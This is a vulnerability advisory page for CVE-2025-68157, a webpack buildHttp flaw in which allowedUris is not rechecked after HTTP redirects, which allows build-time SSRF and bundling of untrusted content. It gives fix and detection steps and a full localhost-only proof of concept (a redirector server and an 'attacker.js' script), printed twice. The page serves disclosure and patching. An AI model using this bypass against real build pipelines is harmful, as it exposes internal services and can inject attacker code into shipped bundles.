CVE-2025-68157: Webpack Webpack BuildHttp HttpUriPlugin AllowedUris Bypass Vulnerability
LOW
Advisory Identifier:
GHSA-38r7-794h-5758
Advisory Summary
CVE-2025-68157 is a LOW (CVSS 3.7) webpack buildhttp httpuriplugin alloweduris bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Webpack libraries in the npm ecosystem. The issue involves webpack buildhttp httpuriplugin alloweduris bypass via http redirects → ssrf + cache persistence. Remediation is available by upgrading affected packages to version 5.104.0.
CVE-2025-68157 at a Glance
CVE Identifier
CVE-2025-68157
GHSA Identifier
GHSA-38r7-794h-5758
Severity
LOW
CVSS v3.1 Base Score
3.7
CWE Classification
CWE-918: Server-Side Request Forgery (SSRF)
Affected Product
Webpack
Package Ecosystem
npm
Published Date
Last Updated
Security Impact
CVSS: 3.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
High (AC:H)
Privileges Required
Low (PR:L)
User Interaction
Required (UI:R)
Scope
Unchanged (S:U)
Confidentiality
Low (C:L)
Integrity
Low (I:L)
Availability
None (A:N)
How to Fix CVE-2025-68157
To remediate this vulnerability, upgrade all affected Webpack dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
webpack
fixed: 5.104.0
npm install webpack@5.104.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls webpackHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-68157, inspect your project dependencies using npm:
npm ls webpackAnalyze the terminal output to locate any version of Webpack in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.104.0), your application is affected.
Note: The npm ls webpack command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Webpack, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
### Details
In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />
### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#### 1) Setup
```bash
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const http = require("http");
const url = require("url");
const allowedPort = 9000;
const internalPort = 9100;
const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function start(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// Internal-only service (SSRF target)
await start(internalPort, (req, res) => {
if (req.url === "/secret.js") {
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
return;
}
res.statusCode = 404;
res.end("not found");
});
// Allowed host (redirector)
await start(allowedPort, (req, res) => {
const parsed = url.parse(req.url, true);
if (parsed.pathname === "/redirect.js") {
const to = parsed.query.to || internalUrlDefault;
// Safety guard: only allow redirecting to localhost internal service in this PoC
if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
res.statusCode = 400;
res.end("to must be internal-only in this PoC");
console.log(`[allowed] blocked redirect to: ${to}`);
return;
}
res.statusCode = 302;
res.setHeader("Location", to);
res.end("redirecting");
console.log(`[allowed] 302 /redirect.js -> ${to}`);
return;
}
res.statusCode = 404;
res.end("not found");
});
console.log(`\nServer running:`);
console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);
console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();
```
#### 3) Create attacker.js
```js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");
const allowedPort = 9000;
const internalPort = 9100;
const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;
async function walk(dir) {
const out = [];
const items = await fs.readdir(dir, { withFileTypes: true });
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
} catch {
return false;
}
}
async function findInFiles(files, needle) {
const hits = [];
for (const f of files) if (await fileContains(f, needle)) hits.push(f);
return hits;
}
const fmtBool = b => (b ? "✅" : "❌");
(async () => {
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedBase],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const secret = m ? m[0] : null;
console.log("\n[ATTACKER RESULT]");
console.log(`- webpack version: ${webpackPkg.version}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
console.log(`- imported URL (allowed only): ${entryUrl}`);
console.log(`- temp dir: ${tmp}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log(`- bundle: ${bundlePath}`);
if (!secret) {
console.log("\n[SECURITY SUMMARY]");
console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
return;
}
const lockHit = await fileContains(lockfile, secret);
let cacheFiles = [];
try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;
const allTmpFiles = await walk(tmp);
const allHits = await findInFiles(allTmpFiles, secret);
console.log(`\n- extracted secret marker from bundle: ${secret}`);
console.log("\n[SECURITY SUMMARY]");
console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
console.log(`- Internal target (SSRF-like): ${internalTarget}`);
console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
console.log(`- ACTUAL: internal content treated as module and bundled`);
console.log("\n[EVIDENCE CHECKLIST]");
console.log(`- bundle contains secret: ${fmtBool(true)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log("\n[PERSISTENCE CHECK] files containing secret");
for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
```
#### 4) Run
Terminal A:
```bash
node server.js
```
Terminal B:
```bash
node attacker.js
```
#### 5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
### Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
CVE-2025-68157 Affected Webpack Versions
1 component(s)
Fixed Versions:
5.104.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
webpack
|
npm |
≥ 5.49.0
< 5.104.0
|
5.104.0
|
References
Frequently Asked Questions
What is CVE-2025-68157?
CVE-2025-68157 is a security vulnerability in Webpack involving webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence under CWE-918: Server-Side Request Forgery (SSRF).
Which Webpack versions are affected?
Affected versions include releases prior to 5.104.0 across affected packages: webpack.
What version fixes CVE-2025-68157?
Upgrading to 5.104.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is webpack affected?
Yes, webpack is affected in releases prior to 5.104.0. Upgrade your dependency to 5.104.0 or later.
What is the CVSS score of CVE-2025-68157?
CVE-2025-68157 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2025-68157?
CVE-2025-68157 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2025-68157?
Run the dependency tree command: 'npm ls webpack'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-38r7-794h-5758",
"modified" : "2026-02-06T14:39:25Z",
"published" : "2026-02-05T18:35:28Z",
"aliases" : [ "CVE-2025-68157" ],
"summary" : "webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence",
"details" : "### Summary\nWhen `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.\n\n### Details\nIn the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.\n\nPractical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.\n\n**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.\n\n<img width=\"1648\" height=\"461\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524\" />\n\n\n### PoC\nThis PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.\n\n#### 1) Setup\n```bash\nmkdir split-ssrf-poc && cd split-ssrf-poc\nnpm init -y\nnpm i -D webpack webpack-cli\n```\n\n#### 2) Create server.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst http = require(\"http\");\nconst url = require(\"url\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;\nconst secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;\nconst internalPayload =\n `export const secret = ${JSON.stringify(secret)};\\n` +\n `export default \"ok\";\\n`;\n\nfunction start(port, handler) {\n return new Promise(resolve => {\n const s = http.createServer(handler);\n s.listen(port, \"127.0.0.1\", () => resolve(s));\n });\n}\n\n(async () => {\n // Internal-only service (SSRF target)\n await start(internalPort, (req, res) => {\n if (req.url === \"/secret.js\") {\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/javascript; charset=utf-8\");\n res.end(internalPayload);\n console.log(`[internal] 200 /secret.js served (secret=${secret})`);\n return;\n }\n res.statusCode = 404;\n res.end(\"not found\");\n });\n\n // Allowed host (redirector)\n await start(allowedPort, (req, res) => {\n const parsed = url.parse(req.url, true);\n\n if (parsed.pathname === \"/redirect.js\") {\n const to = parsed.query.to || internalUrlDefault;\n\n // Safety guard: only allow redirecting to localhost internal service in this PoC\n if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {\n res.statusCode = 400;\n res.end(\"to must be internal-only in this PoC\");\n console.log(`[allowed] blocked redirect to: ${to}`);\n return;\n }\n\n res.statusCode = 302;\n res.setHeader(\"Location\", to);\n res.end(\"redirecting\");\n console.log(`[allowed] 302 /redirect.js -> ${to}`);\n return;\n }\n\n res.statusCode = 404;\n res.end(\"not found\");\n });\n\n console.log(`\\nServer running:`);\n console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);\n console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);\n})();\n```\n\n#### 3) Create attacker.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst path = require(\"path\");\nconst os = require(\"os\");\nconst fs = require(\"fs/promises\");\nconst webpack = require(\"webpack\");\nconst webpackPkg = require(\"webpack/package.json\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst allowedBase = `http://127.0.0.1:${allowedPort}/`;\nconst internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;\nconst entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;\n\nasync function walk(dir) {\n const out = [];\n const items = await fs.readdir(dir, { withFileTypes: true });\n for (const it of items) {\n const p = path.join(dir, it.name);\n if (it.isDirectory()) out.push(...await walk(p));\n else if (it.isFile()) out.push(p);\n }\n return out;\n}\n\nasync function fileContains(f, needle) {\n try {\n const buf = await fs.readFile(f);\n return buf.toString(\"utf8\").includes(needle) || buf.toString(\"latin1\").includes(needle);\n } catch {\n return false;\n }\n}\n\nasync function findInFiles(files, needle) {\n const hits = [];\n for (const f of files) if (await fileContains(f, needle)) hits.push(f);\n return hits;\n}\n\nconst fmtBool = b => (b ? \"✅\" : \"❌\");\n\n(async () => {\n const tmp = await fs.mkdtemp(path.join(os.tmpdir(), \"webpack-attacker-\"));\n const srcDir = path.join(tmp, \"src\");\n const distDir = path.join(tmp, \"dist\");\n const cacheDir = path.join(tmp, \".buildHttp-cache\");\n const lockfile = path.join(tmp, \"webpack.lock\");\n const bundlePath = path.join(distDir, \"bundle.js\");\n\n await fs.mkdir(srcDir, { recursive: true });\n await fs.mkdir(distDir, { recursive: true });\n\n await fs.writeFile(\n path.join(srcDir, \"index.js\"),\n `import { secret } from ${JSON.stringify(entryUrl)};\nconsole.log(\"LEAKED_SECRET:\", secret);\nexport default secret;\n`\n );\n\n const config = {\n context: tmp,\n mode: \"development\",\n entry: \"./src/index.js\",\n output: { path: distDir, filename: \"bundle.js\" },\n experiments: {\n buildHttp: {\n allowedUris: [allowedBase],\n cacheLocation: cacheDir,\n lockfileLocation: lockfile,\n upgrade: true\n }\n }\n };\n\n const compiler = webpack(config);\n\n compiler.run(async (err, stats) => {\n try {\n if (err) throw err;\n\n const info = stats.toJson({ all: false, errors: true, warnings: true });\n if (stats.hasErrors()) {\n console.error(info.errors);\n process.exitCode = 1;\n return;\n }\n\n const bundle = await fs.readFile(bundlePath, \"utf8\");\n const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);\n const secret = m ? m[0] : null;\n\n console.log(\"\\n[ATTACKER RESULT]\");\n console.log(`- webpack version: ${webpackPkg.version}`);\n console.log(`- node version: ${process.version}`);\n console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);\n console.log(`- imported URL (allowed only): ${entryUrl}`);\n console.log(`- temp dir: ${tmp}`);\n console.log(`- lockfile: ${lockfile}`);\n console.log(`- cacheDir: ${cacheDir}`);\n console.log(`- bundle: ${bundlePath}`);\n\n if (!secret) {\n console.log(\"\\n[SECURITY SUMMARY]\");\n console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);\n return;\n }\n\n const lockHit = await fileContains(lockfile, secret);\n\n let cacheFiles = [];\n try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }\n const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;\n\n const allTmpFiles = await walk(tmp);\n const allHits = await findInFiles(allTmpFiles, secret);\n\n console.log(`\\n- extracted secret marker from bundle: ${secret}`);\n\n console.log(\"\\n[SECURITY SUMMARY]\");\n console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);\n console.log(`- Internal target (SSRF-like): ${internalTarget}`);\n console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);\n console.log(`- ACTUAL: internal content treated as module and bundled`);\n\n console.log(\"\\n[EVIDENCE CHECKLIST]\");\n console.log(`- bundle contains secret: ${fmtBool(true)}`);\n console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);\n console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);\n\n console.log(\"\\n[PERSISTENCE CHECK] files containing secret\");\n for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);\n if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);\n } catch (e) {\n console.error(e);\n process.exitCode = 1;\n } finally {\n compiler.close(() => {});\n }\n });\n})();\n```\n\n#### 4) Run\nTerminal A:\n```bash\nnode server.js\n```\n\nTerminal B:\n```bash\nnode attacker.js\n```\n\n#### 5) Expected\n\nExpected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).\n\n### Impact\n\nVulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).\n\nWho is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:\n\ntrigger network requests from the build machine to internal-only services (SSRF behavior),\n\ncause content from outside the allow-list to be bundled into build outputs,\n\nand cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "webpack"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.49.0"
}, {
"fixed" : "5.104.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/webpack/webpack/security/advisories/GHSA-38r7-794h-5758"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68157"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/webpack/webpack"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-05T18:35:28Z",
"nvd_published_at" : "2026-02-05T23:15:53Z"
}
}